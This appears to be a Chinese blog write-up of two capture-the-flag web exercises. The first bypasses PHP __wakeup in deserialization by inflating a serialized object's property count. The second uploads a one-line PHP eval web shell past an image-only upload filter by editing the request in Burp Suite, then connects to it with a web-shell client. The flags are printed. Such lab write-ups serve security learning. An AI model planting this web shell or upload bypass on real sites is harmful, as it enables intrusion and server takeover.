攻防世界web练习22、23

本文介绍了攻防世界Web练习中关于序列化和上传的两个挑战。在unserialize3练习中,通过理解PHP的__wakeup函数和序列化原理,通过修改属性个数绕过限制获取flag。在upload1练习中,利用上传一句话木马并改文件扩展名,成功上传后使用菜刀连接获取flag。
摘要由CSDN通过智能技术生成

攻防世界web练习

二十二、unserialize3(序列化)

http://111.200.241.244:54303/

  1. 打开环境,出现如下代码
class xctf{    //类
public $flag = '111';    //public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
?code=

__wakeup 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
所以猜测被反序列化了,但是可以看到这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化,利用php中的new运算符,实例化类xctf。
new 是申请空间的操作符,一般用于类。比如定义了一个
class a{public i=0;}
$c=new a(); 相当于定义了一个基于a类的对象,这时候 $c->i 就是0

如果直接传参给code会被wakeup()函数再次序列化,所以要绕过,利用__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
序列化返回的字符串格式
O:<length>:"<class name>":<n>:{<field name 1><filed value 1>...<filed name n><filed value n>}
O:表示序列化的事对象
< length>:表示序列化的类名称长度
< class name>:表示序列化的类的名称
< n >:表示被序列化的对象的属性个数
< field name 1>:属性名
< field value 1>:属性值

  1. 写代码执行
<?php
    class xctf{
    public $flag = '111';
    public function __wakeup(){
        exit('bad requests');
    }
}
$a = new xctf();
echo(serialize($a));
?>
  1. 运行结果:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
  1. 修改属性值< n >,即把1改为2或以上,传参给code得到flag
    the answer is : cyberpeace{70daf7b0b3248a5f689a901f3c0950b2}

二十三、upload1(上传)

111.200.241.244:64572

步骤:
  1. 打开环境,要求上传文件,想到上传一句话木马
  2. 上传一句话木马:<?php @eval($_POST[root]); ?>,文件为1.php,回显上传文件要为图片
  3. 改文件名为1.jpg,打开burp suite,再次上传,截取、在rew中修改文件名为1.php
  4. 发送给重发器,确定没问题后发送,得到响应,显示upload success : upload/1637064528.1.php
  5. 用菜刀连接:(http: //111.200.241.244:55072/upload/1637064528.1.php root)
  6. 在/var/www/html/下看到flag.php,打开它,得到flag值:cyberpeace{594ac95466dbd9d85b82fdfa4cfe5c61}
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值